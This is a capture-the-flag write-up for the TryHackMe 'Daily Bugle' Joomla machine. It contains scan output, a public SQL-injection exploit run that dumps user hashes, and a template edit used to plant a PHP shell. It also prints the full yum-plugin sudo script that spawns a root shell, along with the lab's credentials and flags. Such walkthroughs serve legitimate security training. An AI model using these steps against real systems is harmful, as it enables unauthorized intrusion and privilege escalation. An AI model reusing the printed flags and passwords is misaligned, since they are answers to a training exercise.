# DailyBugle_THM

## Enumaration

1- Website is running on joomla cms version 3.7.0
2- Found the version of joomla manually by visiting https://www.joomla.org/administrator/manifests/files/joomla.xml
3- Now findng the exploits for this version we found a sqli exploit CVE-2017-8917
4- Used this exploit to dump some data https://github.com/stefanlucas/Exploit-Joomla

## Nmap

```
ORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
|_http-generator: Joomla! - Open Source Content Management
| http-robots.txt: 15 disallowed entries
| /joomla/administrator/ /administrator/ /bin/ /cache/
| /cli/ /components/ /includes/ /installation/ /language/
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
|_http-title: Home
3306/tcp open  mysql   MariaDB (unauthorized)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 3.16 (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (92%), Linux 3.10 (92%), Linux 3.12 (92%), Linux 3.19 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   193.60 ms 10.4.0.1
2   ... 3
4   448.14 ms 10.10.104.240

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.44 seconds
```

## SSH:22

## HTTP:80

## GoBuster

```
/.hta                 (Status: 403) [Size: 206]
/.htaccess            (Status: 403) [Size: 211]
```

```
/.htpasswd            (Status: 403) [Size: 211]
/administrator        (Status: 301) [Size: 243] [--> http://10.10.104.240/administrator/]
/bin                  (Status: 301) [Size: 233] [--> http://10.10.104.240/bin/]
/cache                (Status: 301) [Size: 235] [--> http://10.10.104.240/cache/]
/cgi-bin/             (Status: 403) [Size: 210]
/components           (Status: 301) [Size: 240] [--> http://10.10.104.240/components/]
/images               (Status: 301) [Size: 236] [--> http://10.10.104.240/images/]
/includes             (Status: 301) [Size: 238] [--> http://10.10.104.240/includes/]
/index.php            (Status: 200) [Size: 9280]
/language             (Status: 301) [Size: 238] [--> http://10.10.104.240/language/]
/layouts              (Status: 301) [Size: 237] [--> http://10.10.104.240/layouts/]
/libraries            (Status: 301) [Size: 239] [--> http://10.10.104.240/libraries/]
/media                (Status: 301) [Size: 235] [--> http://10.10.104.240/media/]
/modules              (Status: 301) [Size: 237] [--> http://10.10.104.240/modules/]
/plugins              (Status: 301) [Size: 237] [--> http://10.10.104.240/plugins/]
/robots.txt           (Status: 200) [Size: 836]
/templates            (Status: 301) [Size: 239] [--> http://10.10.104.240/templates/]
/tmp
```

## Joomla Exploit

```
python joomblah.py http://$ip/                                                  1 ×

    .---.    .-'''-.        .-'''-.
    |   |   '   _    \     '   _    \                            .---.
    '---' /   /` '.   \  /   /` '.   \  __  __   ___   /|        |   |            .
    .---..   |     \  ' .   |     \  ' |  |/  `.'   `. ||        |   |          .'|
    |   ||   '      |  '|   '      |  '|   .-.  .-.   '||        |   |         <  |
    |   |\    \     / / \    \     / / |  |  |  |  |  ||  __     |   |    __    | |
    |   | `.   ` ..' /   `.   ` ..' /  |  |  |  |  |  ||/'__ '.  |   | .:--.'.  | | .'''-.
    |   |   '-...-'`       '-...-'`    |  |  |  |  |  ||:/`  '. '|   |/ |   \ | | |/.'''. \
    |   |                              |  |  |  |  |  ||     | ||   |`" __ | | | /    | |
    |   |                              |__|  |__|  |__||\    / '|   | .'.''| | | |    | |
 __.'   '                                           |/'..' / '---'/ /   | |_| |    | |
|      '                                            '  `'-'`      \ \._,\ '/| '.    | '.
|____.'                                                                `--'  `" '---'   '---'

 [-] Fetching CSRF token
 [-] Testing SQLi
  -  Found table: fb9j5_users
  -  Extracting users from fb9j5_users
 [$] Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/-
JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm   ', '', '']
  -  Extracting sessions from fb9j5_session
```

## MYSQL:3306

## Exploitation

1- Now to get a shell we have to find a way to execute our code
2- Just like in Wordpress,we edit template and add our own php code
3- I addded my php code in index.php and then previewed the theme and got my shell back
4-

## PostExploitation

1- we get a shell back as user apache

2- enumarating var/www/data gave us a configuration file which contains db credentials
3- we get root user credentials for database
4- logging in databse and enumrating didnt gave us anything useful
5- afterf 2 to 3 hours i tried to ssh into the user jjameson with passwords found for db
6- we get logged in and get user flag
7- we can run /usr/bin/yum as sudo so head over to gtfobins and follow the steps to get root

```
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF

cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF

cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
  os.execl('/bin/sh','/bin/sh')
EOF

sudo /usr/bin/yum -c $TF/x --enableplugin=y
```

## *Loot*

## *Credentials*

# Possible Usernames

jonah:spiderman123

## Database credentials

root:nv5uz9r3ZEDzVjNu

## Hashdump from mysql db and user table

root:B04E65424026AC47B5626445B67352EBEFD78828

# SSH credentials

this user reused the mariadb password

jjameson:nv5uz9r3ZEDzVjNu

## *Flags*

#User Flags

27a260fe3cba712cfdedb1c86d80442e

#Root Flags

eec3d53292b1821868266858d7fa6f79